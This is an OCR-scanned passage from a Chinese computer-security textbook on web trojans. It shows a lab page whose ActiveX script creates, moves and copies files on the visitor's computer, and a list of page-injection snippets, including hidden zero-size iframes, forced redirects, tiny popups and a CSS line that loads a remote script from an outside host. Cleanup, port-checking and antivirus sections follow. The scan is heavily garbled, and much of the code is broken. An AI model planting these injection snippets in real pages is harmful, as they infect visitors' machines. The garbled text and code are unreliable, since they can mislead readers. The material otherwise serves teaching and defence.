(218. 198. 18. 95/index. htm, 该 index. htm 文件 称 为 网 页 病毒 或 网 页 木马 ) 实 际 上 已 经 打开 了 。 
第 9 步 : 编辑 www_muma 文件 夹 中 的 index. htm 文件 。 在 Windows 2003 上 ,编辑 
C:\Inetpub\www_muma\index. htm 文件 ,插入 如 图 5-81 所 示 的 被 圈 部 分 代码 。www_ 


muma 文件 夹 中 index. htm 


文件 的 代码 说 明 见 表 5-29。 


Script 


language=javascript> 

var fso, F1, F2, F3, s; 

fso = new fictiveX0bject("Scripting.FileSystemübject"); 
F1 = Fso.CreateTextFile("c:Wtestfile.txt", true); 
f1-Write ("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa."); 
f1-Close(); 


f2 = Fso.GetFile("c:WtestFile.txt"); 
f2 -Houe ("d:\\testfile.txt"); 
f2 -Copy ("d:WWtestfile2.txt"); 
f2 = fso.GetFile("d:Wtestfile.txt"); 


f3 = fso.GetFile("d:Wtestfile2.txt"); 
//€2.Delete(); 
//£3.Delete(); 


图 5-81. www muma 文件 夹 中 index, htm 文件 
表 5-29 index. htm 文件 代码 说 明 
KR B 说 明 
<script language javascript javascript 脚本 开始 
var fso.f1.f2,f3.5; 定义 变量 


fso= new ActiveXObject( "Scripting. FileSystemObject") ; 


创建 FileSystemObject 对 象 实例 


f1—fso. CreateTextFile("c:Vtestfile. txt" ,true); 


创建 一 个 空 文本 文件 


f1. Write("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, ") ; 


向 文件 testfile. txt 中 写 入 内 容 


fl. CloseO ; 


关闭 文件 


12— fso. GetFile("c:Ntestfile. txt") ; 


获取 c:\testfile. txt 文件 句柄 


f2. Move("d:\testfile. txt") ; 


移动 文件 到 d:\testfile. txt 


复制 文件 到 d:\testfile2. txt 


f2. Copy("d:\testfile2. txt"); 
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续 表 
代 B WO 9 
12— fso. GetFile("d:\testfile. txt"); 获取 d:\testfile. txt 文件 句柄 
f3=fso. GetFile("d:\testfile2. txt") ; 获取 d:\testfile2. txt 文件 句柄 
//f2. Delete(); 如 果 取 消 注释 , 则 删除 d:\testfile. txt 文件 
//f3. DeleteO ; 如 果 取 消 注释 , 则 删除 d:\testfile2. txt 文件 
</script> javascript 脚本 结束 


第 10 步 : 在 Windows XP 上 ,打开 下 浏览 器 .依次 选择 [工具 】IKInternet 选项 命令 ,打开 
[Internet 选项 对 话 框 ,选择 [安全 】 选 项 卡 。 单 击 【 自 定义 级 别 ] 按 钮 ,出 现 [ 安 全 设置 对话 框 ， 
在 “ 重 置 为 "下 拉 框 中 选择 [安全 级 - 低 3 选 项 , 单 击 [ 重 置 ] 按 钮 。 具 体 过 程 参考 4. 3. 3 小 节 。 

在 下 浏览 器 地 址 栏 输 入 218. 198. 18. 93 ,此 时 ,网 页 木马 已 经 在 自己 的 计算 机 中 创建 
了 两 个 文件 ,如 图 5-82 所 示 。 


XH) RAV HEV GEO) IAV HHY 


2010-6-14 15:05 


图 5-82 网 页 木马 创建 的 文件 


BAE 在 Firefox 浏览 器 中 ,第 9 步 的 Javascript 脚本 不 能 够 很 好 地 执行 。 由 此 
可 见 , 目 前 的 大 多 数 网 页 木马 或 网 页 病毒 是 针对 IE 浏览 器 的 ,所 以 ,为 了 上 网 安全 ,可 以 
选择 使 用 Firefox 浏览 器 ,不 过 有 些 时 候 Firefox 浏览 器 不 能 够 正常 访问 一 些 网 站 ,因此 
读者 可 以 根据 不 同 需求 选用 不 同 的 浏览 器 。 如 果 使 用 IE 浏览 器 ,在 第 10 步 中 ,在 “ 重 置 
为 ”下 拉 框 中 选择 【安全 级 -中 /高 选项 , 单 击 【 重 置 ] 按 钮 。 


3. 一 些 常用 的 挂 马 方式 

(1) 框架 挂 马 

< iframe src= "网 马 地 址 " width= 0 height= © < /iframe» 

(2) body #5 

<body onload "window.location- ' 网 马 地 址 ';"> < /body> 

(3) Java 挂 马 

< script language- javascript> 

window.open ("Kj 5 Hh dE ","","toolbar- no, location- no, directories- no, status- no, 


menubar- no, scrollbars- no, width- 1l, height- 1"); 
< /script> 


H 
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(4) JS 文 件 挂 马 

首先 将 代码 document. write C" — iframe width — 0 height — 0. src ='W 3 Hh di '— 
</iframe>") ; RFJ muma. js 文件, 则 js 文件 挂 马 代码 为 二 script language javascript 
src— muma, js> </script>. 

(5) CSS 中 挂 马 


body{ 

background- image: url(’ 

javascript:document.write ("< script src- http: //ww.yyy .net/mma.js» < /script» ") ") 

} 

(6) 高 级 欺骗 

<a href=http://www.schu.com( 迷 惑 连接 地 址 ) anMpuseover= "mma () ;retum true;"> 搜 狐 首 页 < /a> 
< script language- javascript> 

function mma () 

t 

cpen ("IV E Jb Ji]. ", "", "toolbar- no, location- no, directories- no, status- no, menubar- no, scrollbars- no, 
width- 1, height- 1"); 

) 

< /script> 


5.10.7 网 页 病毒 .网 页 挂 马 的 基本 概念 


1. 网 页 病毒 


网 页 病毒 是 利用 网 页 来 进行 破坏 的 病毒 , 它 存在 于 网 页 之 中 ,其 实 是 使 用 一 些 脚本 语言 
编写 的 一 些 恶意 代码 ,利用 浏览 器 漏洞 来 实现 病毒 的 植 和 人。 当 用 户 登 录 某 些 含有 网 页 病毒 
的 网 站 时 ,网 页 病毒 会 被 悄悄 激活 ,这些 病毒 一 旦 激活 ,可 以 利用 系统 的 一 些 资源 进行 破坏 。 
轻 则 修改 用 户 的 注册 表 , 使 用 户 的 首页 .浏览 器 标题 改变 , 重 则 可 以 关闭 系统 的 很 多 功能 , 装 
上 木马 , 染 上 病毒 ,使 用 户 无 法 正常 使 用 计算 机 系统 ,严重 者 还 可 以 将 用 户 的 系统 进行 格式 
化 。 而 这 种 网 页 病毒 容易 编写 和 修改 ,使 用 户 防不胜防 。 


2. 网 页 挂 马 (网 页 木马 ) 


网 页 挂 马 是 指 黑 客 自己 建立 带 病毒 的 网 站 ,或 者 入 侵 大 流量 网 站 ,然后 在 其 网 页 中 植 入 
木马 和 病毒 , 当 用 户 浏览 到 这 些 网 页 时 就 会 中 毒 。 由 于 通过 网 页 挂 马 可 以 批量 入 侵 大 量 计 
算 机 ,快速 组 建 僵尸 网 络 、 窃 取 用 户 资料 ,所 以 危害 极 大 。 

网 页 挂 马 的 方法 花样 翻新 ,层出不穷 。 可 以 利用 iframe 包含 网 页 木马 ,也 可 以 利用 
JS 脚本 文件 调用 网 页 木马 ,还 可 以 在 CSS 文 件 中 插入 网 页 木马 ,甚至 可 以 利用 图 片 .SWF、 
RM, AVI 等 文件 的 弹 窗 功能 来 打开 网 页 木马 。 


3. WSH 


WSH(Windows Scripting Host. Windows 脚本 宿主 ) 是 内 骨 于 Windows 操作 系统 中 
的 脚本 语言 工作 环境 。WSH 这 个 概念 最 早出 现 于 Windows 98 操作 系统 。 微 软 在 研发 


ey 
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Windows 98 时 ,为 了 实现 多 类 脚本 文件 在 Windows 界面 或 DOS 命令 提示 符 下 直接 运行 ， 
就 在 系统 中 植 人 了 一 个 基于 32 位 Windows 平台 的 .并 且 独 立 于 语言 的 脚本 运行 环境 ,将 其 
命名 为 Windows Scripting Host, WSH 架构 于 ActiveX 之 上 ,通过 充当 ActiveX 的 脚本 引 
擎 控制 器 ,WSH Jy Windows 用 户 充分 利用 威力 强大 的 脚本 语言 扫 清 了 障碍 。 

WSH 的 优点 在 于 它 能 够 使 人 们 可 以 充分 利用 脚本 来 实现 计算 机 工作 的 自动 化 ,但 正 
是 WSH 的 优点 ,使 计算 机 系统 又 有 了 新 的 安全 隐患 。 许 多 计算 机 病毒 制造 者 正在 热衷 于 
用 脚本 语言 来 编制 病毒 ,并 利用 WSH 的 支持 功能 ,让 这 些 隐藏 着 病毒 的 脚本 在 网 络 中 广 为 
传播 。 借 助 WSH 的 这 一 缺陷 ,通过 JavaScript, VBScript, ActiveX 等 网 页 脚本 语言 ,就 产 
生 了 大 量 的 网 页 病毒 和 网 页 木马 。 


4. 网 页 木马 的 基本 工作 流程 


CD 打开 含有 网 页 木马 的 网 页 。 
(2) 网 页 木马 利用 浏览 器 漏洞 或 者 一 些 脚 本 功能 下 载 一 个 可 执行 文件 或 脚本 。 


5. 网 页 木马 的 种 类 


(1) Flash 动画 木马 

Flash 动画 木马 的 攻击 原理 是 在 网 页 中 显示 或 在 本 地 直接 播放 Flash 动画 木马 时 ,让 
Flash 自动 打开 一 个 网 址 ,而 该 网 页 就 是 攻击 者 预先 制作 好 的 一 个 木马 网 页 。 即 Flash 动画 
木马 其 实 就 是 利用 Flash 的 跳 转 特性 ,进行 网 页 木马 的 攻击 。 要 让 Flash 自动 跳 转 到 木马 
网 页 ,只 要 使 用 Macromedia Flash MX 之 类 的 编辑 工具 ,在 Flash 中 添加 一 段 跳 转 代码 ,让 
Flash 跳 转 到 木马 网 页 即 可 。 

用 浏览 器 打开 Flash 动画 木马 或 是 包含 Flash 动画 木马 的 网 页 时 ,可 以 看 到 随 着 Flash 
动画 播放 ,自动 弹出 一 个 浏览 器 窗口 ,里 面 将 会 显示 一 个 无 关 的 网 页 ,这 个 网 页 很 可 能 就 是 
木马 网 页 。 

不 管 Flash 木马 如 何 设计 ,最 终 都 是 要 跳 转 到 木马 网 页 去 ,所 以 防范 Flash 动画 木马 需 
要 开启 Windows 的 窗口 拦截 功能 ,另外 ,一 定 要 在 上 网 时 开启 杀毒 软件 的 网 页 监控 功能 。 

打开 IE d Vd EFE T.F] [Internet 选项 命令, 打开 【Internet 选项 ] 对 话 框 ,如 图 5-83 
所 示 。 选 择 【 隐 私 〗 选 项 卡 ,在 页 面 中 选中 [打开 弹出 窗口 阻止 程序 ] 复 选 框 ,然后 单 击 【 设 置 】 
按钮 ,打开 [弹出 窗口 阻止 程序 设置 ] 对 话 框 ,如 图 5-84 所 示 ,在 对 话 框 中 可 以 设置 筛选 级 
别 , 将 其 设置 为 [高 : 阻止 所 有 弹出 窗口 】。 

(2) 图 片 木马 

图 片 木马 有 两 种 形式 : 伪装 型 图 片 木 马 和 漏洞 型 图 片 木 马 。 

CD 伪装 型 图 片 木马 。 伪 装 型 图 片 木马 通常 是 通过 修改 文件 图 标 ,伪装 成 图 片 文 件 来 实 
现 的 。 

O 漏洞 型 图 片 木 马 。 漏 洞 型 图 片 木马 通常 是 利用 系统 或 者 软件 的 漏洞 ,对 真正 的 图 片 
动 了 手脚 ,制作 出 真正 的 夹带 木马 的 图 片 , 当 用 户 打 开 图 片 时 就 会 受到 木马 的 攻击 。 
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图 5-83 [Internet 选项 ] 对 话 框 图 5-84 【弹出 窗口 阻止 程序 设置 对 话 杠 


对 于 伪装 型 图 片 木马 ,无 论 其 外 表 多 么 具有 迷惑 性 ,但 是 木马 必然 是 个 可 执行 程序 ,后 
级 名 是 . exe。 因 此 ,可 以 比较 容易 地 发 现 伪 装 型 图 片 木马 。 在 资源 管理 器 窗口 中 ,依次 选择 
菜单 栏 中 的 [工具 YI【 文 件 夹 选 项 3 命令 ,打开 【文件 夹 选项 3 对 话 框 ,如 图 5-85 所 示 , 取 消 选 
中 [隐藏 受 保护 的 操作 系统 文件 ] 和 【隐藏 已 知 文件 类 型 的 扩展 名 ] 复 选 框 ,并 且 在 【隐藏 文件 
和 文件 夹 选 项 中 选择 【显示 所 有 文件 和 文件 夹 3 选 项 。 

有 些 木马 会 对 注册 表 进 行 修改 .使 得 资源 管理 器 [工具 ] 菜 单 中 的 [文件 夹 选项 选项 被 
隐藏 ,让 用 户 无 法 显示 文件 后 缀 名 。 要 识别 木马 ,必须 恢复 【文件 夹 选 项 ] 选 项。 右 击 工具 栏 
空白 处 ,在 菜单 中 选择 [ 自 定义 命令 ,打开 [ 自 定义 工具 栏 ] 对 话 框 ,如 图 5-86 所 示 。 在 【可 
用 工具 栏 按钮 ] 中 找到 [文件 夹 选 项 选项 , 单 击 【 添 加 ] 按 钮 ,然后 单 击 【 关 闭 ] 按 钮 ,工具 栏 中 
会 出 现 一 个 【文件 夹 选项 按钮 。 
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图 5-85 【文件 夹 选项 对 话 框 图 5-86 【 自 定义 工具 栏 ] 对 话 框 
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(3) 在 媒体 文件 .电子 书 . 电 子 邮件 中 也 可 能 放置 木马 。 


5.10.8 实例 : 查看 开放 端口 判断 木马 


木马 通常 基于 TCP/UDP 协议 进行 Client 端 与 Server 端 之 间 的 通信 ,因此 ,木马 会 在 


Server 端 打 开 监 听 端 口 来 等 待 Client 端 连接 。 例 如 冰河 的 监听 端口 是 7626。 所 以 ,可 以 通 
过 查看 本 机 开放 的 端口 ,来 检查 是 否 被 植 人 了 木马 或 其 他 黑客 程序 。 


下 面 使 用 Windows 自 带 的 netstat 命令 (Linux 也 有 该 命令 ) 查 看 端口 。 


C:\Documents and Settings Administrator» netstat -an 


Active Connections 
Proto Local Address Foreign Address State 
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 
TCP 127.0.0.1:1038 127.0.0.1:1039 ESTABLISHED 
TCP 127.0.0.1:1039 127.0.0.1:1038 ESTABLISHED 
TCP 218.198.18.6:139 0.0.0.0:0 LISTENING 
TCP 218.198.18.6:1064 211.84.160.6:80 TIME WAIT 
TCP 218.198.18.6:1065 211.84.160.6:80 TIME WAIT 
TCP 0.0.0.0:7626 0.0.0.0:0 LISTENING 
UDP 0.0.0.0:445 * v 
UDP 218.198.18.6:123 关 5 关 


Active Connections: 指 当前 本 机 活动 连接 。 

Proto; 连接 使 用 的 协议 。 

Local Address: 本 地 计算 机 的 IP 地 址 和 连接 正在 使 用 的 端口 号 。 

Foreign Address: 连接 该 端口 的 远程 计算 机 的 IP 地 址 和 端口 号 。 

State: 表明 TCP 连接 的 状态 ,其 中 ,7626 端口 正在 监听 ,很 有 可 能 被 植 人 了 冰河 木马 ， 


此 时 ,要 立刻 断 开 网 络 ,清除 木马 。 


网 络 服务 ,木马 与 端口 对 照 表 见 附录 。 


5.10.9 方法 汇总 一 一 病毒 .蠕虫 .木马 的 清除 和 预防 


1. 遭受 网 页 病毒 .网 页 木马 攻击 后 的 症状 


(1) 上 网 前 系统 一 切 正常 ,上 网 后 系统 就 会 出 现 异 常情 况 。 

(2) 默认 主页 被 更 改 ,IE 浏览 器 工具 栏 内 的 修改 功能 被 屏蔽 。 

(3) 不 定时 地 弹出 广告 。 

(4) 计算 机 桌面 及 桌面 上 的 图 标 被 隐藏 。 

(5) 在 计算 机 桌面 上 无 故 出 现 陌 生 网 站 的 链接 。 

(6) 登录 某 个 网 站 后 ,发现 迅速 打开 一 个 窗口 后 又 消失 ,并 且 在 系统 文件 夹 内 多 了 几 个 


未 知 的 、 类 似 系统 文件 的 新 文件 。 


CÓ 私有 账号 无 故 丢失 。 
(8) 发 现 多 了 几 个 未 知 的 进程 ,而 且 杀 不 掉 , 重 启 后 又 会 出 现 。 
(9) CPU 利用 率 一 直 很 高 。 
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(10) 注册 表 编 辑 器 被 锁定 。 
2. 清除 病毒 .蠕虫 和 木马 的 一 般 方法 


CD 使 用 杀毒 软件 或 者 专 杀 工具 查 杀 。 

(2) 查看 任务 管理 器 ,发 现 仿 系统 文件 的 进程 要 立刻 禁止 掉 , 然 后 到 相应 的 路 径 查看 该 
文件 的 “创建 时 间 ”, 如 果 和 中 毒 时 间 相 仿 ,那么 就 说 明 该 文件 极 有 可 能 是 病毒 文件 。 因 为 系 
统 文件 的 创建 时 间 比 较 早 , 大 约 要 比 当 前 时 间 早 2 一 5 年 , 按 如 此 办 法 就 可 以 逐一 找 出 可 疑 
的 文件 ,然后 将 它们 删除 ,如果 在 Windows 中 不 能 删除 ,那么 要 进入 DOS 进行 删除 。 

(3) 修改 注册 表 。 网 页 病毒 通过 注册 表 具 有 再 生 的 功能 ,所 以 要 注意 注册 表 启 动 项 。 
HKEY IOCAL MACHINE\ Software\Microsoft\Windows\CurrentVersion\RnServioes] 

HKEY IOCAL MACHINEA Software Microsoft Wi ndowsNVCurrentVersionNRunServicesOnce] 
HKEY IOCAL MACHINEA Software Microsoft Windows NCurrentVersionNRun] 

HEEY IOCAL MACHINEA Software Microsoft Windows NCurrentVersionNRunOnce] 
HKEY CURRENT USERMSoftwareMMi crosoft Windows NCurrentVersionNRun] 

HKEY CURRENT USERMSoftware Microsoft Windows NVCurrentVersionNRunOnce] 
HKEY CURRENT USER Software Microsoft Windows NCurrentVersionWRunServices] 
一 般 情况 ,上 面 所 有 的 键 值 都 为 空 ,如果 不 为 空 ,应 该 全 部 清空 。 
另外 ,也 应 注意 关联 项 目 , 正 确 的 键 值 如 下 : 

HKEY CLASSES FDOTNchm.fileNshellNapenNcammand "(默认 )" "hh.exe" $1 ] 
HKEY CLASSES ROOINexefile VshellVopenNVoarmand " (BR iÀ )" "31" $ * ] 

HKEY CLASSES ROO inifileVshellVopen command " (SR i )" 

$ SystemRoot% NSystem32 WOTEPAD.EXE & 1 ] 

HKEY CIASSES ROOTNregfileNshellNapen\cammand " (B iÀ )  regedit.exe "& 1" ] 
HKEY CLASSES ROUINscrfile VshellVopenNoanmand " (BR iÀ )" "& 1" /S ] 

HKEY CLASSES ROOINtxtfileVshellVopenNconmand " (Bh iA ) " 

% SystemRootg% \ system32\NOTEPAD.EXE % 1] 

(4) 清理 配置 文件 启动 项 。 关 注 autoexec. bat, win. ini 和 system. ini X f/f, autoexec. bat 
的 内 容 为 空 ; win. ini 文件 中 LWindows] 下 面 ,“run 二 ”和 “load 二 ”是 可 能 加 载 木 马 程序 的 途 
径 。 一 般 情况 下 ,等 号 后 面 什 么 都 没有 ;system. ini 文件 中 [boot] 下 面 有 个 “shell= 文 件 
名 ”。 正 确 的 文件 名 应 该 是 “explorer. exe”, 如果 不 是 “explorer. exe”, M && shell — explorer. exe 
程序 名 ”, 那 么 后 面 跟着 的 那个 程序 就 是 木马 程序 ,说 明 已 经 中 木马 了 。 

(5) 清理 缓存 。 由 于 病毒 会 停留 在 计算 机 的 临时 文件 夹 与 缓存 目录 中 ,所 以 要 清理 
C:\Documents and Settings\Administrator( 或 其 他 用 户 名 )\Local Settings 文件 夹 中 Temp 
和 Temporary Internet Files 子 文件 夹 里 的 内 容 。 

(6) 检查 启动 组 。 开 始 程序 启动 中 是 否 有 奇怪 的 启动 文件 ,现在 的 木马 大 多 不 再 通过 
启动 菜单 进行 随机 启动 ,但 是 也 不 可 掉以轻心 。 如 果 发 现在 【开始 了 民 程序 了 民 启 动 ] 莱 单 中 
有 新 增 的 项 ,就 要 多 加 小 心 。 

(7) 通过 文件 对 比 查 找 木马 。 

CD 清除 木马 。 清 除 木马 的 一 般 过 程 是 : 首先 确认 木马 进程 ,然后 停止 该 进程 ,再 在 注 
册 表 里 清理 相关 表 项 ,最 后 删除 硬盘 上 的 木马 文件 。 

(9) 查看 可 疑 端口 。 端 口 扫描 是 检查 远程 机 器 有 无 木马 的 最 好 办 法 ,查看 连接 和 端口 
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扫描 的 原理 基本 相同 ,不 过 是 在 本 地 机 上 的 命令 行 窗口 中 执行 “netstat-a” 命 令 来 查看 所 有 
的 TCP/UDP 连接 。 查 看 端口 与 进程 关系 的 小 程序 有 Active Ports 和 Tcpview 等 。 

(10) 在 安全 模式 或 纯 DOS 模式 下 清除 病毒 。 对 于 现在 大 多 数 流行 的 蠕虫 病毒 .木马 
程序 和 网 页 代码 病毒 等 ,可 以 在 安全 模式 下 彻底 清除 ,然而 对 于 一 些 引 导 区 病毒 和 感染 可 执 
行文 件 的 病毒 则 需要 在 纯 DOS 下 杀毒 。 


3. 预防 网 页 病毒 .网 页 木马 


(1) 安装 杀毒 软件 ,打开 实时 监控 。 

(2) 经 常 升级 杀毒 软件 的 病毒 库 。 

(3) 安装 防火 墙 。 

(4) 经 常 更 新 系统 ,安装 安全 补丁 。 

(5) 不 要 轻易 访问 具有 诱惑 性 的 网 站 。 

(6) 在 IE 中 全 部 禁止 ActiveX 插件 和 控件 ,Java 脚本 。 

CD 打开 【IE 属性 ] 对 话 框 中 选择 [安全 选项 卡 , 单 击 【 受 限 站 点 按钮 ,将 【安全 级 别 】 
设置 为 [高 3 选项 , 单 击 【 站 点 按钮 ,添加 要 阻止 的 危险 网 址 。 

(8) 印 载 ActiveXObject。 在 命令 提示 符 下 执行 regsvr32. exe shell32. dll /u/s fi , 1 
载 Shell. application 控件 。 如 果 以 后 要 使 用 这 个 控件 ,在 命令 提示 符 下 执行 regsvr32. exe 
shell32. dll /i/s 命令 重新 安装 Shell. application 控件 。 其 中 ,regsvr32. exe 是 注册 或 反 注册 
OLE 对 象 或 控件 的 命令 ,“/u” 是 反 注册 参数 ,“/s" 是 安静 模式 参数 ,“/i” 是 安装 参数 。 

(9) 定时 备份 。 定 时 备份 硬盘 上 的 重要 文件 ,可 以 用 ghost 备份 分 区 ,可 以 用 diskgen 
备份 分 区 表 。 

(10) 不 要 运行 来 路 不 明 的 软件 ,不 要 打开 来 路 不 明 的 邮件 。 


5.10.10 流行 杀毒 软件 简介 


国内 市 场 上 单机 版 杀毒 软件 的 主流 产品 分 别 是 金山 毒霸 2011、 瑞 星 杀毒 软件 2010、 江 
民 杀 毒 软件 KV 2010 卡巴 斯 基 反 病毒 软件 2010、Norton AntiVirus 2010, 


1. 金山 毒霸 2011 


金山 毒霸 2011 是 一 款 功能 强大 的 方便 易 用 的 个 人 及 家 庭 首选 反 病 毒 产品 之 一 。 它 能 
保护 用 户 的 计算 机 免 受 病毒 .黑客 .垃圾 邮件 .木马 和 间谍 软件 等 网 络 危害 。 

金山 毒霸 2011 是 世界 首 款 应 用 “可 信 云 查 杀 ” 的 杀毒 软件 ,颠覆 杀毒 软件 20 年 传统 技 
术 , 全 面 超越 主动 防御 及 初级 云 安全 等 传统 方法 ,采用 本 地 正常 文件 白 名 单 快速 匹配 技术 ， 
配合 强大 的 金山 可 信 云 端 体系 ,率先 实现 了 安全 性 、 检 出 率 与 速度 的 提高 。 

金山 毒霸 2011 极速 轻巧 ,安装 包 不 到 20MB, 内 存 占用 只 有 19MB, 首 次 扫描 仅 4 分 钟 ， 
3 分 钟 消灭 活 木 马 , 扫描 速度 每 秒 可 达 134 个 文件 。 配 合 中 国 互联 网 最 大 云 安全 体系 ， 
100% 鉴 定 文件 是 病毒 还 是 正常 文件 。 它 具有 强大 的 自动 分 析 鉴 定 体系 ,对 于 互联 网 上 
95% 的 新 未 知 文件 ,在 60 秒 内 即 返回 鉴定 结果 。 它 应 用 精确 样本 收集 技术 ,更 使 文件 鉴定 
准确 率 达 到 了 99% 以 上 。 


第 5 章 ”计算 机 网 络 安全 技术 


其 技术 亮点 有 如 下 几 个 。 

CD 可 信 云 查 杀 

增强 互联 网 可 信 认 证 ,海量 样本 自动 分 析 鉴 定 ,极速 快速 匹配 查询 ,中 国 最 大 云 安 全 ， 
100% 识 别 率 , 互 联网 95% 的 新 文件 与 未 知 文件 60 秒 返 回 鉴定 结果 。 

(2) 蓝 芯 工 云 引擎 (Blue Chip II CLOUD) 

微 特征 识别 (启发 式 查 杀 2. 0) ,将 新 病毒 扼杀 于 摇篮 中 ,针对 不 同类 型 病毒 具有 不 同 的 
算法 ,减少 资源 占用 ,多 模式 快速 扫描 匹配 技术 , 超 快 样本 匹配 。 

(3) 白 名 单 优先 技术 

准确 标记 用 户 计算 机 所 有 安全 文件 ,无 须 逐 一 比 对 病毒 库 , 大 大 提高 效率 , 双 库 双 引 擎 ， 
首 家 在 杀毒 软件 中 内 置 安全 文件 库 ,与 可 信 云 安全 紧密 结合 ,安全 、 少 误杀 。 

(4) 个 性 功能 体验 

具有 下 载 保护 、 聊 天 软件 保护 、U 盘 病 毒 免疫 防御 .文件 粉碎 机 、 自 定义 安全 区 .提升 性 
能 、 可 定制 的 免 打 扰 模 式 、 自 动 调节 资源 占用 、 针 对 笔记 本 电源 优化 使 续航 更 久 等 个 性 功能 。 


2. 瑞星 杀毒 软件 2010 


对 于 瑞星 杀毒 软件 2010 版 产品 介绍 如 下 。 

(1) 查 杀 病毒 

后 台 查 杀 : 在 不 影响 用 户 工作 的 情况 下 进行 病毒 的 处 理 。 

断 点 续 杀 : 智能 记录 上 次 查 杀 完成 文件 ,针对 未 查 杀 的 文件 进行 查 杀 。 

异步 杀毒 处 理 : 在 用 户 选择 病毒 处 理 的 过 程 中 ,不 中 断 查 杀 进 度 , 提 高 查 杀 效 率 。 

空闲 时 段 查 杀 : 利用 用 户 系 统 空 闲 时 间 进 行 病 毒 扫 描 。 

嵌入 式 查 杀 : 可 以 保护 MSN 等 即时 通信 软件 ,并 在 MSN 传输 文件 时 进行 传输 文件 的 
扫描 。 

开机 查 杀 : 在 系统 启动 初期 进行 文件 扫描 ,以 处 理 随 系统 启动 的 病毒 。 

(2) 智能 启发 式 检测 技术 十 云 安全 

根据 文件 特性 进行 病毒 的 扫描 ,最 大 范围 发 现 可 能 存在 的 未 知 病毒 ,并 极 大 程度 避免 误 
报 给 用 户 带 来 的 烦恼 。 

(3) 瑞星 的 智能 主动 防御 技术 

系统 加 固 : 针对 系统 的 薄弱 环节 进行 加 固 , 防 止 系 统 被 病毒 破坏 。 

木马 入 侵 拦截 : 最 大 限度 保护 用 户 访问 网 页 时 的 安全 ,阻止 绝 大 部 分 挂 马 网 页 对 用 户 
的 侵害 。 

木马 行为 防御 : 基于 病毒 行为 的 防护 ,可 以 阻止 未 知 病毒 的 破坏 。 

(4) 瑞星 实时 监控 

文件 监控 : 提供 高 效 的 实时 文件 监控 系统 。 

邮件 监控 : 提供 支持 多 种 邮件 客户 端的 邮件 病毒 防护 体系 。 

(5) 安全 检测 

计算 机 体检 : 针对 用 户 系统 进行 有 效 评估 ,帮助 用 户 发 现 安全 隐患 。 

(6) 软件 安全 

密码 保护 : 防止 用 户 的 安全 配置 被 恶意 修改 。 
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自我 保护 : 防止 病毒 对 瑞星 杀毒 软件 进行 破坏 。 

(7) 工作 模式 

家 庭 模式 : 适用 于 用 户 在 游戏 .视频 播放 .上 网 等 情况 ,为 用 户 自动 处 理 安全 问题 。 

专业 模式 : 用 户 拥有 对 安全 事件 的 处 理 权 。 

(8) 云 安 全 (Cloud Security) 计 划 

与 全 球 瑞星 用 户 组 成 立体 监测 防御 体系 ,以 最 快速 度 发 现 安全 威胁 ,解决 安全 问题 , 共 
享 安全 成 果 。 


3. 江 民 杀毒 软件 KV2010 


江 民 杀毒 软件 KV2010 系 江 民 反 病毒 资深 研发 团队 历时 一 年 之 久 ,悉心 打造 的 一 款 新 
型 全 功能 杀毒 软件 。 采 用 全 新 动态 启发 式 杀毒 引擎 ,融入 指纹 加 速 功能 ,杀毒 功能 更 强 、 速 
度 更 快 。KV2010 也 是 国内 首 家 完美 兼容 微软 Windows 7 操作 系统 的 2010 版 杀毒 软件 。 

KV2010 颠覆 了 传统 的 防 杀 毒 模式 ,在 智能 主动 防御 、 沙 盒 技 术 、 内 核 级 自我 保护 .虚拟 
机 脱 壳 ` 云 安全 防毒 系统 .启发 式 扫描 等 领先 的 核心 杀毒 技术 基础 上 ,创新 “前 置 威胁 预 控 ” 
安全 模式 ,在 防 杀 病毒 前 预先 对 系统 进行 全 方位 安全 检测 和 防护 ,检测 3 大 类 29 项 可 能 存 
在 的 安全 潜在 威胁 ,提供 安全 加 固 和 解决 方案 。 

功能 亮点 : 全 新 引擎 ,动态 启发 式 杀 毒 ,指纹 加 速 , 杀 毒 更 快 、 更 强 ;29 项 安全 防护 , 封 
堵 所 有 病毒 人 侵 通道 ,病毒 无 除 可 入 ;24 小 时 监控 网 页 挂 马 ,恶意 网 址 动态 入 库 , 网 络 畅 游 
无 忧 ;增强 智能 主动 防御 沙 盒 模式 ,增强 虚拟 机 脱 过 ,未知 病毒 克星 ;全 新 三 层 防火 墙 ,从 应 
用 层 、 协 议 层 、 内 核 层 三 层 防 范 黑客 攻击 ;增强 云 安 全 防毒 系统 ,海量 可 疑 文 件数 据 处 理 中 
心 ,搜集 病毒 样本 更 多 ,升级 速度 更 快 ;增强 网 页 防 马 墙 功能 ,动态 更 新 网 页 挂 马 规则 库 ; 增 
强 系统 漏洞 管理 功能 ,自动 扫描 修复 系统 漏洞 ,新 增 第 三 方 软件 漏洞 扫描 、 自 动 修复 功能 ; 
江 民 新 计算 机 保护 系统 ,系统 灾难 一 键 恢复 ,恢复 系统 到 正常 状态 ;病毒 扫描 、 查 杀 速 度 更 
快 ;占用 系统 资源 更 少 、 防 杀 病 毒 效 率 更 高 。 


4. 卡巴 斯 基 反 病毒 软件 2010 


卡巴 斯 基 是 俄罗斯 著名 信息 安全 厂商 Kaspersky Labs 推出 的 计算 机 安全 产品 。 卡 巴 
斯 基 产 品 包 括 个 人 用 户 、 企 业 网 络 提供 反 病 毒 、 防 黑客 和 反 垃 圾 邮件 产品 。 卡 巴 斯 基 
2010 是 一 套 完 整 的 家 庭 安全 解决 方案 , 它 可 以 帮助 用 户 防 御 各 种 木马 .蠕虫 .病毒 的 危害 。 
卡巴 斯 基 2010 还 增强 了 它 的 实时 监控 功能 ,无 论 是 网 页 各 种 文件 .主流 的 聊天 工具 (QQ、 
MSN 等 ) ,都 在 它 的 监控 范围 之 内 ,不 但 如 此 ,卡巴 斯 基 的 独门 绝技 一 一 主动 防御 技术 更 是 
得 到 了 增强 ,这 将 完全 确保 用 户 的 计算 机 不 受 未 知 的 病毒 和 木马 的 威胁 。 

卡巴 斯 基 全 功能 安全 软件 2010 将 实时 自动 保护 用 户 全 家 的 上 网 安全 无 论 用 户 是 
工作 、 使 用 网 银 ` 在 线 购物 还 是 网 络 游戏 ,完整 的 组 件 将 为 用 户 上 网 冲浪 保驾 护航 。 卡 巴 斯 
基 全 功能 安全 软件 2010 中 包含 卡巴 斯 基 反 病毒 软件 2010 的 所 有 功能 和 技术 。 

卡巴 斯 基 全 功能 安全 软件 2010 是 新 一 代 的 信息 安全 解决 方案 ,更 强 的 反 病毒 数据 库 引 
